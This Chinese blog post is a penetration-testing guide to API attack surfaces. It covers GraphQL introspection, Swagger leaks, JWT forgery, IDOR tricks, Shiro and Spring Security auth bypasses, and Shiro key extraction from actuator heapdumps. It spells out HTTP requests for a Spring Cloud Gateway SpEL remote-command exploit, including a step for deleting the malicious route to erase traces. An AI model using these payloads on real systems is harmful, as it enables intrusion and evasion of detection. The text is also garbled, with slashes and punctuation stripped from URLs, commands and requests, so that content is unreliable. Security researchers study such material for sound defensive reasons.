大家好,我是老李。今天和大家继续聊聊API安全。必要性 前后端分离已经成为web的一大趋势,通过TomcatNgnix(也可以中间有个Node。js),有效地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务(多种客户端,例如:浏览器,车载终端,安卓,IOS等等)打下坚实的基础。而API就承担了前后端的通信的职责。所以学习api安全很有必要。 本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中,如有错误,还望各位斧正。常见的api技术GraphQL GraphQL是一个用于API的查询语言 通常有如下特征: (1)数据包都是发送至graphql接口 (2)其中包含了很多换行符{query:queryIntrospectionQuery{rschema{rqueryType{name}rmutationType{name}rsubscriptionType{name}rtypes{r。。。FullTyper}rdirectives{rnamerdescriptionrlocationsrargs{r。。。InputValuer}r}r}r}rrfragmentFullTypeonType{rkindrnamerdescriptionrfields(includeDeprecated:true){rnamerdescriptionrargs{r。。。InputValuer}rtype{r。。。TypeRefr}risDeprecatedrdeprecationReasonr}rinputFields{r。。。InputValuer}rinterfaces{r。。。TypeRefr}renumValues(includeDeprecated:true){rnamerdescriptionrisDeprecatedrdeprecationReasonr}rpossibleTypes{r。。。TypeRefr}r}rrfragmentInputValueonInputValue{rnamerdescriptionrtype{。。。TypeRef}rdefaultValuer}rrfragmentTypeRefonType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamer}r}r}r}r}r}r}r}r,variables:null}SOAPWSDLWSDL(WebServicesDescriptionLanguage,Web服务描述语言)是一种XMLApplication,他将Web服务描述定义为一组服务访问点,客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问 走的是SOAP协议,一般发送的xml格式的数据,然后会有WSDL文件 。net中常见的。asmx文件也有wsdl格式xxx。asmx?wsdl 我们可以使用soapui对这类api进行测试WADL 文件里面有很明显的wadl标志 同样也可以用soapui的rest功能进行测试 REST restapi并不像前面几种那种特征明显,也是如今使用最多的一种api技术REST是一组架构规范,并非协议或标准。API开发人员可以采用各种方式实施REST。当客户端通过RESTfulAPI提出请求时,它会将资源状态表述传递给请求者或终端。该信息或表述通过HTTP以下列某种格式传输:JSON(Javascript对象表示法)、HTML、XLT、Python、PHP或纯文本。JSON是最常用的编程语言,尽管它的名字英文原意为JavaScript对象表示法,但它适用于各种语言,并且人和机器都能读。还有一些需要注意的地方:头和参数在RESTfulAPIHTTP请求的HTTP方法中也很重要,因为其中包含了请求的元数据、授权、统一资源标识符(URI)、缓存、cookie等重要标识信息。有请求头和响应头,每个头都有自己的HTTP连接信息和状态码。获取端点的方式 对于api的一些安全测试,通常关注api的权限问题,api端点和基础设施的安全问题。 要测试api端点的安全问题,肯定得尽量获取多的api端点swaggerapidocs泄露 Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化RESTful风格的Web服务 常见指纹:swagger2swaggerui。htmlapidocsv2apidocsswagger3swaggeruiindex。html apidocsv2apidocsv3apidocs。。。 apidocs可泄露所有端点信息 这里推荐两个工具进行测试 第一个是swaggereditor https:github。comswaggerapiswaggereditor 下载之后打开index。html就可以用,可以选择导入或者远程加载url,支持json和yaml格式的apidocs 第二个是apikithttps:github。comAPISecurityAPIKit burp插件 graphql内省查询 获取所有端点信息 https:mp。weixin。qq。comsgp2jGrLPllsh5xn7vn9BwQ{query:queryIntrospectionQuery{rschema{rqueryType{name}rmutationType{name}rsubscriptionType{name}rtypes{r。。。FullTyper}rdirectives{rnamerdescriptionrlocationsrargs{r。。。InputValuer}r}r}r}rrfragmentFullTypeonType{rkindrnamerdescriptionrfields(includeDeprecated:true){rnamerdescriptionrargs{r。。。InputValuer}rtype{r。。。TypeRefr}risDeprecatedrdeprecationReasonr}rinputFields{r。。。InputValuer}rinterfaces{r。。。TypeRefr}renumValues(includeDeprecated:true){rnamerdescriptionrisDeprecatedrdeprecationReasonr}rpossibleTypes{r。。。TypeRefr}r}rrfragmentInputValueonInputValue{rnamerdescriptionrtype{。。。TypeRef}rdefaultValuer}rrfragmentTypeRefonType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamerofType{rkindrnamer}r}r}r}r}r}r}r}r,variables:null} 我们可以用这个生成接口文档: https:github。com2fdgraphdoc 需要nodejstest。json是刚刚内省查询返回的json格式数据npminstallg2fdgraphdocgraphdocs。test。jsono。docschema 然后我们打开生成的docindex。html 根据他这个格式构造数据包就行了 其他 在黑盒测试中,很大一个问题就是api端点找得不够全,我们需要从对应的应用或者从其他方面找 (1)web jshtml等静态资源可以有一些api端点 burp插件JSLinkFinder可以被动收集 (2)app和其他客户端应用 (3)github (4)根据规律fuzz鉴权方式BasicAuth 每次请求API时都提供用户的username和password 通常在http数据包中有一个Authorization头Authorization:Basicbase64(username:password) 这个安全性比较低,现在很少用到JWT jwt(jsonwebtoken)是一种基于Token的认证授权机制 分为三部分Header:描述JWT的元数据,定义了生成签名的算法以及Token的类型。Payload:用来存放实际需要传递的数据Signature(签名):服务器通过Payload、Header和一个密钥(Secret)使用Header里面指定的签名算法(默认是HMACSHA256)生成防止JWT被篡改 计算方式加密算法(base64(header)。base64(payload),secret) 在线测试https:jwt。io 普通token需要后端存储与用户的对应关系,而JWT自身携带对应关系其他自定义头、cookie 诸如apikey或者随机生成的其他形式的token常见安全问题及测试方法api网关API网关是一个搭建在客户端和微服务之间的服务,我们可以在API网关中处理一些非业务功能的逻辑,例如权限验证、监控、缓存、请求路由等。API网关就像整个微服务系统的门面一样,是系统对外的唯一入口。有了它,客户端会先将请求发送到API网关,然后由API网关根据请求的标识信息将请求转发到微服务实例。 apisixApacheAPISIX是Apache软件基金会下的云原生API网关,它兼具动态、实时、高性能等特点,提供了负载均衡、动态上游、灰度发布(金丝雀发布)、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以使用ApacheAPISIX来处理传统的南北向流量,也可以处理服务间的东西向流量。同时,它也支持作为K8sIngressController来使用。 apisix之前爆出过一个命令执行漏洞CVE202224112(目前最新版本是3。0) 影响范围:ApacheAPISIX1。32。12。1之间的所有版本(不包含2。12。1)ApacheAPISIX2。10。02。10。4LTS之间的所有版本(不包含2。10。4) 搭建漏洞环境gitclonehttps:github。comtwseptiancve202224112获取dockerfile文件cdcve202224112apisixdockerexample进入相应目录dockercomposepdockerapisixupd启动基于docker的apisix所有服务 利用条件batchrequests插件默认开启状态。用户使用了ApacheAPISIX默认配置(启用AdminAPI,使用默认AdminKey且没有额外分配管理端口),攻击者可以通过batchrequests插件调用AdminAPI。 攻击思路1、利用batchrequests插件漏洞、绕过请求头检测;2、通过伪造请求头、向AdminAPI注册路由;3、注册路由时、携带参数filterfunc传递lua代码、造成远程代码执行漏洞 exp: https:github。comtwseptiancve202224112blobmainpocpoc2。py SpringCloudGatewaySpringCloudGateway是SpringCloud团队基于Spring5。0、SpringBoot2。0和ProjectReactor等技术开发的高性能API网关组件 当SpringCloudGateway启用和暴露GatewayActuator端点时,使用SpringCloudGateway的应用程序可受到代码注入攻击 影响版本SpringCloudGateway3。1。1SpringCloudGateway3。0。7SpringCloudGateway其他已不再更新的版本 这个漏洞本身是一个SpEL注入 攻击方法: 第一步添加路由value参数传入了执行cmd的el表达式POSTtestactuatorgatewayroutesAAAAAAAAAAAAAAAAHTTP1。1Host:xxx。com:9090UserAgent:xxxContentLength:xxxAccept:texthtml,imagegif,imagejpeg,;q。2,;q。2ContentType:applicationjsonAcceptEncoding:gzip,deflateConnection:close{id:AAAAAAAAAAAAAAAA,filters:〔{name:AddResponseHeader,args:{name:Result,value:{newString(T(org。springframework。util。StreamUtils)。copyToByteArray(T(java。lang。Runtime)。getRuntime()。exec(whoami)。getInputStream()))}}}〕,uri:http:xxx。com:9090testactuator} 第二步刷新配置POSTtestactuatorgatewayrefreshHTTP1。1Host:xxx:9090UserAgent:xxxContentLength:0Accept:texthtml,imagegif,imagejpeg,;q。2,;q。2ContentType:applicationxwwwformurlencodedAcceptEncoding:gzip,deflateConnection:close 第三步,获取命令执行结果GETtestactuatorgatewayroutesAAAAAAAAAAAAAAAAHTTP1。1Host:xxxx:9090UserAgent:xxxAccept:texthtml,imagegif,imagejpeg,;q。2,;q。2AcceptEncoding:gzip,deflateConnection:close 清除痕迹:DELETEtestactuatorgatewayroutesAAAAAAAAAAAAAAAAHTTP1。1Host:xxxUserAgent:xxxAccept:texthtml,imagegif,imagejpeg,;q。2,;q。2AcceptEncoding:gzip,deflateConnection:closetraefik 这个倒是没爆出过什么漏洞,实战中遇到过几次dashboard存在未授权访问的情况, 这个dashboard没法直接部署容器啥的 但是可以从它httphttprouters这里看到一些路由转发规则,比如hostpath,对于后续的渗透有一些帮助,可以知道一些二级目录和域名 还有其他页面比如httpservices会泄露一些内网ip等等actuator未授权访问 默认只开放health 如果在application。properties添加了management。endpoints。web。exposure。include 或者application。yml添加management:endpoints:web:exposure:默认值访问health,info端点用可以包含全部端点include:endpoint:health:showdetails:always获得健康检查中所有指标的详细信息 则会暴露所有端点(endpoints) 此时这些端点就存在未授权访问 利用方法大部分这篇文章已经讲了https:github。comLandGreySpringBootVulExploit 这里不再重复提及heapdump获取shirokey 测试环境:https:github。comruiyeclubSpringBootHellotreemasterspringbootshiro 下载heapdumpactuatorheapdump jvisualvm。exe:Java自带的工具,默认路径为:JDK目录binjvisualvm。exe 打开heapdump,搜索org。apache。shiro。web。mgt。CookieRememberMeManager 然后双击这个类,找到key,右边是key的值 复制83,105,9,110,96,22,27,120,23,113,108,104,1,35,6,111 转换的python脚本:importbase64importstructprint(base64。b64encode(struct。pack(bbbbbbbbbbbbbbbb,83,105,9,110,96,22,27,120,23,113,108,104,1,35,6,111))) 或者使用https:github。comwhwlsfbJDumpSpiderreleases javajarJDumpSpider1。0SNAPSHOTfull。jarheapdump 后端代码安全问题 api后端的应用也是由代码写出来的,各种web安全问题依旧会存在,比如sql注入文件上传等等,这里提一个遇到比较多的越权问题和一个比较有意思的xxe漏洞越权 (1)参数污染 为单个参数提供多个值GETapiuser?id{userid}GETapiuser?id{userid1}id{userid2} (2)附加特殊字符和随机字符串 简单地替换id可能会导致40x等情况。可以尝试添加一些特殊字符20、09、0b、0c、1c、1d、1e、1fGETapiuser1GETapiuser120 (3)添加查询参数 url中可能并没有参数,可以自己添加一些字段(可以是网站返回的,也可以是常见的一些比如idusername等等): 比如GETapiuserGETapiuser?id1GETapiuser?userid1GETapiuser?username1。。。 (4)修改动作 常见有增删改查 比如GETapiedituser1GETapideteleuser1PUTapiuser新增DETELEapiuser1尝试删除xxe api为了兼容一些不同的应用场景比如小程序、app等等,可能会兼容不同的数据传输格式 比如之前一个银行的测试,接口传输数据采用的是json格式 将json格式数据改为xml格式时,发现存在xml外部实体注入漏洞(xxe) 鉴权绕过思路伪造jwttoken 有些网站,访问时会给你一个jwttoken,但是payload部分很多字段是空的,这个时候可以去尝试去修改payload中,可能和身份认证相关的字段,伪造jwttoken。 伪造就需要解决签名问题 (1)修改签名算法为none (2)爆破签名的密钥 (3)伪造密钥 。。。 可以使用jwttool进行测试 https:github。comticarpijwttool Springsecurity认证绕过漏洞 CVE202222978 影响版本: SpringSecurity5。5。x5。5。7 SpringSecurity5。6。x5。6。4在springsecurity中利用换行符可实现权限认证进行绕过,r的URl编码为0d,的URL编码为0a比如:admin1需要认证admin10d0a绕过认证shiro权限绕过 举两个例子 (1)CVE20201957 影响版本:shiro1。5。2 shiro与spring的URI中对;处理不同,导致绕过比如http:127。0。0。1:8080;admin,shiro则是认为是访问http:127。0。0。1:8080比如http:127。0。0。1:8080;admin,spring则是认位是访问http:127。0。0。1:8080admin这就造成了与shiro处理式的差异,shiro是直接截断后所有部分,spring只会截断【分号之后,斜杠之前】的部分 admin403 ;aaaaadmin200 (2)CVE202013933 影响版本:shiro1。6。0访问adminindex需要认证而admin3bindex,能够绕过认证:其他 这里就是一些经验之谈 (1)github、前端的js以及app中可能存在一些测试的token (2)测试站点的凭据可能在正式站点上面也有效 (3)有些应用有toBtoC不同的接口,在校验不严格的情况下,toC端的凭据可能能用在toB端的接口认证上,比如某次漏洞挖掘中小程序用户登录获取token,可以用在商家端的一些api绕过认证。参考 https:github。comAPISecurityAPIKit https:github。comOWASPAPISecurity https:www。cnblogs。comtomyyyyyp15134420。html https:www。cnblogs。comzpchcbdp15023056。html https:www。freebuf。comvuls343980。html https:apisix。apache。orgzhdocsapisixgettingstarted https:zhuanlan。zhihu。comp569328044 https:www。cnblogs。com9eekp16243402。html http:c。biancheng。netspringcloudgateway。html